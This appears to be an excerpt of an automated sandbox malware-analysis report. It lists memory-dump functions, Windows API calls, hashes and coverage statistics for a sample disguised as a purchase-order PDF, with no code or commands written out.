Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8e0e568b4089d015db4149485af4b4a309a2f99de268ec1b51151219a4387ddf
Instruction ID: 441f099c705683eebd977d15fc2a38080df47364e30411db36a77c096493eb1d
Opcode Fuzzy Hash: 8e0e568b4089d015db4149485af4b4a309a2f99de268ec1b51151219a4387ddf
Instruction Fuzzy Hash: A251F1B5C00249AFDF15CF99C984ADEBFB6FF48310F24816AE818AB221D7719945DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0145B24C Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0145DDEA

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4b1ccf8202614a3e346ef2276f787649acbfb9c1ecb99c9b26b8a1dae0457dce
Instruction ID: ab994cf696d72856db5fff8fd0894bf99da7a31f256dd7bdcea7afdfebd18ad9
Opcode Fuzzy Hash: 4b1ccf8202614a3e346ef2276f787649acbfb9c1ecb99c9b26b8a1dae0457dce
Instruction Fuzzy Hash: 3E51AEB5D003099FDB14CF9AC984ADEBBB5BF88310F24812AE819AB211D7759985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01456E18 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01456EA7

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b3040282e040abebcc53446b5e7f79584614709c7b175233a2efaf81fe8e765c
Instruction ID: f3249450348aed544a32e7d09b7639621e3fac7eb685f3e1f7b82a8a0db9c463
Opcode Fuzzy Hash: b3040282e040abebcc53446b5e7f79584614709c7b175233a2efaf81fe8e765c
Instruction Fuzzy Hash: C421E6B59012089FDB10CF9AD984ADEBFF9FB48324F54841AE914A3310D379A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01456E20 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01456EA7

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3d073de0f2e1ffaa3bbd49404401a65f18a1b6755158311da8768446585274f2
Instruction ID: 47f5d676c2ea8d2ff478a4b6f64ff42ecc5ebf72958e500377519d206d4143ed
Opcode Fuzzy Hash: 3d073de0f2e1ffaa3bbd49404401a65f18a1b6755158311da8768446585274f2
Instruction Fuzzy Hash: 6F21E2B59002089FDB10CFAAD984ADEBFF9EB48324F14841AE914A3310D378A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0145C088 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0145BEE9,00000800,00000000,00000000), ref: 0145C0FA

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e93efafd32bcfd07b96d6cea2bc152bb4b39b2fe3a4ff36b31441991d1cdfa73
Instruction ID: 9058cd1fb2638df941f99a8fd47cf78ebdc3a9e2399d38c7cd2d88bf78d9d341
Opcode Fuzzy Hash: e93efafd32bcfd07b96d6cea2bc152bb4b39b2fe3a4ff36b31441991d1cdfa73
Instruction Fuzzy Hash: 571103B68002099FDB10CF9AC884ADEFBF9EB48324F14841AE915A7211C379A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0145B110 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0145BEE9,00000800,00000000,00000000), ref: 0145C0FA

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 260a723d1f57a0ed3f1f0fc7b121531c88592e28c2621a3f2263e90650334e16
Instruction ID: dc74decdbc1249d00a6d2f224959d06673f987665b9b68b7a0fa221a441d9fe2
Opcode Fuzzy Hash: 260a723d1f57a0ed3f1f0fc7b121531c88592e28c2621a3f2263e90650334e16
Instruction Fuzzy Hash: F41106B69003099FDB10CF9AC484BDEFBF9AB48314F10841EE915A7211C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0145B284 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0145DF7D

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 678aefb85946987b67be2032d76d420cd9dd680b68a55e0723499ee68744ee19
Instruction ID: 763cac60add108b03a20643a13a2e7cb6a8f63eb9fb917017f0fe98f31d79a45
Opcode Fuzzy Hash: 678aefb85946987b67be2032d76d420cd9dd680b68a55e0723499ee68744ee19
Instruction Fuzzy Hash: 401106B58002089FDB50CF9AD984BDEBBF8EF48324F10845AE915B7711C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0145BE08 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0145BE6E

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f52bdd5621c787751e4b952c2f1fc51f5d6f65e875b22b3f09345e2700599366
Instruction ID: f86bedea9ebc2b0d651ec389139a749152ff286826cfffae4c2bb90b04526e87
Opcode Fuzzy Hash: f52bdd5621c787751e4b952c2f1fc51f5d6f65e875b22b3f09345e2700599366
Instruction Fuzzy Hash: 9B110FB6C002498FDB20CF9AC844ADFFBF5EB88224F14841AD929A7611C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0145DF19 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0145DF7D

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 5375644f5cd4a613d129911595c571df181d6d5a82b50f50bcd138ee1a904d20
Instruction ID: de58dfa0eef2dc048194e5d0b44f94bfafcf03580e074c97c52664e11b6b6708
Opcode Fuzzy Hash: 5375644f5cd4a613d129911595c571df181d6d5a82b50f50bcd138ee1a904d20
Instruction Fuzzy Hash: 9911F2BA8002089FDB50CF99D584BDEBBF8EB48324F24851AD818A7701C378A9458FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0145C130 Relevance: 1.5, APIs: 1, Instructions: 41
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0145BEE9,00000800,00000000,00000000), ref: 0145C0FA

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e701e8f2ee7829e5cfa6eb14fd2d0ec395910ef8564783c766e4e47efb14b9d9
Instruction ID: 65e905b79e9563b7460eb4c44e0f18c78ee3915b1a81d93c5d4a41ac04ba3f80
Opcode Fuzzy Hash: e701e8f2ee7829e5cfa6eb14fd2d0ec395910ef8564783c766e4e47efb14b9d9
Instruction Fuzzy Hash: 8FF0F4768043048AEB608BDED8443CAFBE8EB54324F14841BD659E3312C3BAA444CF95

Uniqueness

Uniqueness Score: -1.00%

Function 011DD690 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ea30d18ace00f3c472554fef6406a67f39bc57803565fa46030be46131f2853
Instruction ID: a89964e7c7c439815d32f5dac67a51d3b3535e6f25c333da7b1ff54ade175771
Opcode Fuzzy Hash: 2ea30d18ace00f3c472554fef6406a67f39bc57803565fa46030be46131f2853
Instruction Fuzzy Hash: C5210B75500284DFDF09CF58E9C0B16BF65FB88318F2586A9E9090B246C336D411CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011DD4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1cfd957691c99e0fde0c2f296951dfbe4a2cf9d6bf06a78b1aee3ce323a8286
Instruction ID: 4078e842331782165cb76f8d678008f6df4a469d5370c0cbfb6270769d0880d4
Opcode Fuzzy Hash: a1cfd957691c99e0fde0c2f296951dfbe4a2cf9d6bf06a78b1aee3ce323a8286
Instruction Fuzzy Hash: 10210676500244DFDF19CF58E9C0B16BF75FB88328F648569E8050B296C33AD855CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011DD3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e85de63857363edb886b10b4c24ad7737d186be870c21508c0dea0832e600b
Instruction ID: 0f3993ae7b40cd9be8a607be8996a0e110f10de4d427382cac73512bb050b887
Opcode Fuzzy Hash: 90e85de63857363edb886b10b4c24ad7737d186be870c21508c0dea0832e600b
Instruction Fuzzy Hash: 7921F475500244EFDF09DF98E9C0B67BF65FB84324F24C669D8090B686C336E456C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 011ED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5118fd22325658e16f83a30779a6a37ef8dc84efac84b4db3bfc676cd5f3583
Instruction ID: b862133a764b25535ff8aa0d51ee32d421d4bf5ebd64a5d9c400c964c5a0745c
Opcode Fuzzy Hash: d5118fd22325658e16f83a30779a6a37ef8dc84efac84b4db3bfc676cd5f3583
Instruction Fuzzy Hash: 44212575604640DFDF19CF98E9C8B16BFA5FB84354F28C56DD80A4B246C33BD846CA62

Uniqueness

Uniqueness Score: -1.00%

Function 011ED488 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a63bcab0b829e10c352d52f8149a140eac5bcc7aa93b43d8da3f9fea5936d2b
Instruction ID: 74aa6aa886eafe2780d3a9e2279d972ec9091e2ff5edf987267c75fc0dcc7d52
Opcode Fuzzy Hash: 4a63bcab0b829e10c352d52f8149a140eac5bcc7aa93b43d8da3f9fea5936d2b
Instruction Fuzzy Hash: CE214975504644DFDF19CF98E9C4B16BBB5FF84328F24C56EE8090B246C33AE445CA62

Uniqueness

Uniqueness Score: -1.00%

Function 011ED1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aee11b07424d32dd3855c35d1d591e822c953d00040a6a59c3d63613722b0ee
Instruction ID: 508a416e2997ae1d5aa49327d2fd3fe9b3f4b9634f9c714e6d7dda172e2c44ea
Opcode Fuzzy Hash: 0aee11b07424d32dd3855c35d1d591e822c953d00040a6a59c3d63613722b0ee
Instruction Fuzzy Hash: 1D213775504641DFDF09CF98E9C4B16BBA5FB84324F24C66DE8094B242C33AD846CB62

Uniqueness

Uniqueness Score: -1.00%

Function 011ED2D4 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd0ed23668a96e303fb0cd8ac13b118b1db2f0e6236df0d13d63e5383e48035
Instruction ID: d5d4a09bc3cdc483ae3a52ae6960fc63e109eb69a3066acec44921a64f779baa
Opcode Fuzzy Hash: 7dd0ed23668a96e303fb0cd8ac13b118b1db2f0e6236df0d13d63e5383e48035
Instruction Fuzzy Hash: 9F2138B55086409FDB09CF98E9C8B1AFBE5FB84324F24C66DD8454B246C33AD805C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 011ED006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 771e580e917d9246d1a08e1520cfba687513431aa3c28c2b75cfed697a0e6eee
Instruction ID: 717f06e04318c527992a5703622878e98664255fa58bce4b73444ec8fb3c1195
Opcode Fuzzy Hash: 771e580e917d9246d1a08e1520cfba687513431aa3c28c2b75cfed697a0e6eee
Instruction Fuzzy Hash: 4721C2355093808FCB07CF64D994B05BFB1EB46214F28C6DAD8498F667C33AD84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 011DD68B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57579a75ee6befb3812fde9df4a5292aa026fa4f580f003769344605979a8ca1
Instruction ID: 7acae064dfaa359be804c6644d1ec96ea41d311fccebacfde49b16b46624922b
Opcode Fuzzy Hash: 57579a75ee6befb3812fde9df4a5292aa026fa4f580f003769344605979a8ca1
Instruction Fuzzy Hash: 6421DF76504280DFCF06CF44E9C4B56BF72FB88318F2886A9D9480B256C33AD466CF92

Uniqueness

Uniqueness Score: -1.00%

Function 011DD4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction ID: c02a1ce569f47dbc245a8f28596948585e2aaff15a67635068d02900ce7685a0
Opcode Fuzzy Hash: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction Fuzzy Hash: B211D376504280DFDF16CF54D9C4B16BF71FB84324F2886A9D8450B656C33AD456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011DD3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction ID: 0ba4403c6c1230d7081dca8496e18e2b6b0a0c2fe16ca3680cfde17d7440a0ef
Opcode Fuzzy Hash: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction Fuzzy Hash: 3B11A276504240DFDF16CF54D9C4B56BF61FB84324F24C6A9D8480B656C33AD456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011ED483 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction ID: 1f8a8fb81c6b60e6a73d918271c7006007385b5700fc1e970ac07cab62fee286
Opcode Fuzzy Hash: c66de853c8f73773a024d6556376e3cc26eafd671a5abed216511fd7aaf48c7a
Instruction Fuzzy Hash: A0119376504680CFDB16CF54E5C4B19BBB1FB84324F24C6AAD8494B646C339D44ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 011ED1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction ID: 82207c520270a5ff0713dbd4c2d578b661e5f07effa5e85449f0fd7bcafc8bec
Opcode Fuzzy Hash: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction Fuzzy Hash: 4311BE75504680DFDF06CF94D5C4B15FBA1FB84224F28C6ADD8494B656C33AD44ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 011ED2CF Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.540066466.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11ed000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 800034ddf163baed4030cbb7547756c7c224f8ffe8e28aa505a3349c03160747
Instruction ID: f22c794626a2ec53b60993be180833b9f30c7b13d920fcbc599348e04e333c0b
Opcode Fuzzy Hash: 800034ddf163baed4030cbb7547756c7c224f8ffe8e28aa505a3349c03160747
Instruction Fuzzy Hash: 4A11A3B6508680CFDB16CF58E5C4719FBB1FB84624F38C6AED8484B646C339D44ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 011DD61B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab96cdad0009c4c5478fe9afc8f403996b635e3e22a01563456fd7dfc08adcb8
Instruction ID: a83c2f0ade06b279d966a8c1a10eb6a8cef102aeb3c3d9254ca19e97aad976dc
Opcode Fuzzy Hash: ab96cdad0009c4c5478fe9afc8f403996b635e3e22a01563456fd7dfc08adcb8
Instruction Fuzzy Hash: 90F0F476200600AF97248F0AD885C27FBADEBD9770319C59AE84A4B752C771FC42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 011DD60C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.539838817.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_11dd000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368ba646ee49bc1c5696c11e1565ccc543e579178c5a2aacc37236ce0e6d0cd0
Instruction ID: adaa5e14c18eb6d44a9a1e807a2a70fd51436a4286d4452eaa0cda0bd26188dc
Opcode Fuzzy Hash: 368ba646ee49bc1c5696c11e1565ccc543e579178c5a2aacc37236ce0e6d0cd0
Instruction Fuzzy Hash: FBF03775104680AFD7258F06C884C23BFB9EB8A7607198489E8994B362C671FC42CBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RudGXFgqTDEzz.exePID: 1092, Parent PID: 1080COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.1%
Total number of Nodes:	140
Total number of Limit Nodes:	7

Executed Functions

Function 07088241 Relevance: 3.3, Instructions: 3319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168ab6da094998602e8c2071ae508914eb5282d8b398704ac5f660bdb9fc8dfc
Instruction ID: 37e59e9a5690453bed45002a1f2b587913964ea91e205accaacc2b2d63bba7cd
Opcode Fuzzy Hash: 168ab6da094998602e8c2071ae508914eb5282d8b398704ac5f660bdb9fc8dfc
Instruction Fuzzy Hash: 0B730FB4A00219CFCB64EF68C894A9DB7B2FF88314F158695D459AB3A1DB35ED81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0708F485 Relevance: 2.8, Strings: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a`;-, xrefs: 0708F741
8{}, xrefs: 0708F5A8

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID: 8{}$a`;-
API String ID: 0-1519593656
Opcode ID: df05a999b45980f8ac0aaaa4e45ece42b37a6d0ff71083d6999909b52a6f9aef
Instruction ID: 5110550e5d8a7e2c0327882883cbc16d6052429200ff0578ca0801e6810e27a9
Opcode Fuzzy Hash: df05a999b45980f8ac0aaaa4e45ece42b37a6d0ff71083d6999909b52a6f9aef
Instruction Fuzzy Hash: E7D13CB0D1420ACFCB44DFA9C4818AEFBB2FF89304F249656D416AB355D734AA42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0708F498 Relevance: 2.8, Strings: 2, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a`;-, xrefs: 0708F741
8{}, xrefs: 0708F5A8

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID: 8{}$a`;-
API String ID: 0-1519593656
Opcode ID: e2f4d4a145ac11c7ccdf5f5aee80d31cfe2ff94b32823068fb09cdae24e4aede
Instruction ID: a1ea3957cc81127a5e483d91a03f98a51e5e755170d6b6ebf753b1cf7c44eb87
Opcode Fuzzy Hash: e2f4d4a145ac11c7ccdf5f5aee80d31cfe2ff94b32823068fb09cdae24e4aede
Instruction Fuzzy Hash: 5AD13DB0D1420ACFCB44DFAAC4818AEFBB2FF89304F249656D415AB355D774AA42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0E5A9528 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(00000000), ref: 0E5A9674

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1b2727a6e36a7756f105be9683b5a88b1d7ff0a87094f2a75dbfed36ce63e5d7
Instruction ID: 79bd702589f8b915ad76c4fa72ba5b951094176b906f7bb06e2b5ef6d38240bd
Opcode Fuzzy Hash: 1b2727a6e36a7756f105be9683b5a88b1d7ff0a87094f2a75dbfed36ce63e5d7
Instruction Fuzzy Hash: D9512470D002188FDB14CFA9D594BAEFBF1BF88304F288429E816AB294CB749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0708CEDB Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

Cvi, xrefs: 0708CFAD

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID: Cvi
API String ID: 0-344470883
Opcode ID: 1554f672a9064bdbb900b07c173e305a399b06820faf57fc075035c13bd5a26c
Instruction ID: a5ba09546ba9d721c6ee456c70bfbdecfc440c2649f200a656805bfdca3058ed
Opcode Fuzzy Hash: 1554f672a9064bdbb900b07c173e305a399b06820faf57fc075035c13bd5a26c
